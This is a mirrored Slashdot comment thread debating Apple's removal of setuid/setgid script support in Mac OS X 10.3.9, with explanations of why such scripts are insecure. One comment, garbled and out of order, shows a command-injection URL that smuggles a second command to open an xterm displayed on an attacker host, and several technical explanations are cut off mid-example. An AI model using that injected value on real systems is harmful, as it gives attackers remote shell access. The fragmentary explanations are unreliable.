Slashdot Mirror
It's not a Feature, It's a Vulnerability!
pmeunier writes "Apple's security stance is stunning. In the latest (10.3.9) update, Apple removed two capabilities because they pose security risks. One of them is the capability to run setuid and setguid scripts (the other was actually unused). Can other commercial OS vendors (how many are there :) adopt a similar stance? Will you be inconvenienced by the inability to run setuid scripts on MacOS X? Which other features/capabilities (in any OS) would you like to have removed?"
Um, how about an explanation on what setuid and setguid actually does first, and then I'll tell you if I'm stunned.
"The objective of securing the safety of Americans from crime and terror has been achieved." -- John Ashcroft
Especially since IBM's AIX hasn't allowed SUID scripts since version 3.5.something...
It'd be nice.
Will you be inconvenienced by the inability to run setuid scripts on MacOS X?
Not at all. SUID scripts are a huge hole. See What security problems exist with SUID scripts and programs? for an example. SUID scripts are usually created by lazy people who can't be bothered to figure out permissions.
Which other features/capabilities (in any OS) would you like to have removed?
I'd like to see the instant-flamewar generator removed.
If it's broken, it should be fixed, not thrown away.
Imagine if Microsoft just removed IE because of all the security problems....wait. Let me re-think my position on this.
The functionality was a mistake to include in the first place. I don't remember precisely WHY this is, but I have read that it is simply impossible to make a secure SUID/SGID script in any current flavor of Unix.
Taking it out will undoubtedly inconvenience some folks, but it's sort of like being given a power tool without some critical piece of safety gear. Apple has, in essence, forced you to install that gear on your power tool, like it or not. If it inconveniences you, then you weren't using the tool safely to begin with.
From what I understand, it's usually better to use sudo for this anyway... you can set up sudo so that it will only allow you to execute a particular program or set of programs. The sudoers file is more than slightly cryptic, and it's a bit more typing (both "sudo" and possibly the user password), but this will give you much better safety.
If you just absolutely can't stand doing it that way, then write your script in perl or C and SUID that version. Note that it takes special care in both instances... SUID programs are dangerous, and if someone cracks a user account on your system, that's going to be one of the first things they'll look at to try to get root. Don't just toss something together, go look up how to do it safely. (short form: don't trust your environment, don't trust user input). Perl has some special functions just for this purpose, so be sure to read its documentation carefully.
Coincidentally, that's IE's problem too.
Ping is an application, not a script. Applications can still be SETUID but scripts cannot. Not being able to run applications SETUID would cause loads of hassles I suspect. But not being able to run scripts SETUID just keeps lazy scripters from doing stupid things that could compromise their systems.
Even if I knew that tomorrow the world would go to pieces, I would still plant my apple tree. -Martin Luther
And, since they did this, everything feels snappier!
It didn't take long before it was obvious that setuid scripts were a REALLY bad idea, and they've been backed out of one UNIX version after another. this isn't a matter of redefining a feature as a bug, it's a matter of asking "what took you so long?"...
Whoever approved this story should be ashamed of themselves. There's more than enough REAL news that matters...
First, this is about scripts, not setuid - if it removed setuid or setgid you wouldn't be able to sudo, since that is a setuid program.
% 20DISPLAY=mycomputer.hacker.net:0.0%20xterm%20-sb% 20-sl10000" and have the cgi user's access (usually root) to your system with a convenient xterm (providing the machine is allowed as an xhost).
Second, perl (a scripting language) has really led the way here - perl has not allowed for running of setuid and setgid in scripts for a long time.
Third, if you really need setuid and setgid to run your script, you can create a C wrapper for it. Yes, it's a pain, but it really emphasizes that you really know what you're doing. I remember seeing stuff like (fake URL) http://www.idioticmoron.org?command="runme.sh", which a smart hacker would see and convert to http://www.idioticmoron.org?command="runme.sh;env
What is setuid and setgid? It runs the program as the owner (or group) of the program instead of the executor (the group ID is so the owner can run it with one set of permissions and the group a different set). In this way, you can have something like a counter that can be run by anyone but writes to a file that only that user can write to. To create such a file, you'd do something like chmod 4711 test.sh (setuid) or chmod 2711 test.sh (setgid). Since test.sh is a script (a shell script to be particular), this shouldn't be allowed now. A C program can call setuid and setgid internally, if it has permissions to (say, is running as root), so it can change the executor to the desired user or group and then run the script.
Internet Explorer.
The parent also didn't read the linked article:
emphasis mine. I'm going to guess shell scripts weren't the only kind of text file you could SUID/SGID ...
Disallowing SUID/SGID scripts is industry standard in UNIX-land. Not that "everyone else does it" is a good justification on its own. But, in this case "everyone else had a reason".
You can easily run a script as any ID you desire via sudo, provided with the system. As Apple states, none of their software uses SUID/SGID scripts. And I very much doubt any 3rd-party software does also. It is just such a universally unavailable feature, no UNIX programmer would think to even try it these days.
The problem with suid scripts is the mechanism for implementing scripts. Essentially, a script is an executable beginning with (arg is often left blank). When you run it, is translated by the kernel to which is then executed. If the script is setuid, then logically the interpreter should be setuid.
Suppose then that you have a bash script
Linux fixes this (if you turn on setuid scripts) with the
I hereby place the above post in the public domain.
Apple added a kernel switch for suid/sgid on scripts, and leave it off by default. If you want suid/sgid scripts on your system, enable them. If you don't think this comment has given you enough information to enable them, you shouldn't be running suid/sgid scripts.
echo 33676832766569823265328479713269.8639857989Pq | dc
I think that anything that makes a sysadmin's job more difficult should be reconsidered, as it requires a sysadmin to be more effective (which is uncalled for). Everyone who has ever worked in a job that is not as a sysadmin should know that making a sysadmin's life easier is way more important than the thousands of people they represent. Everyone knows that in any company that the IT department can be counted on being the top dollar earners. I have already made a list of excuses for my lack of efficacy, and this update that I had all of the computers automatically install has just taken precedence over some of the best excuses I have used to shirk off actual work.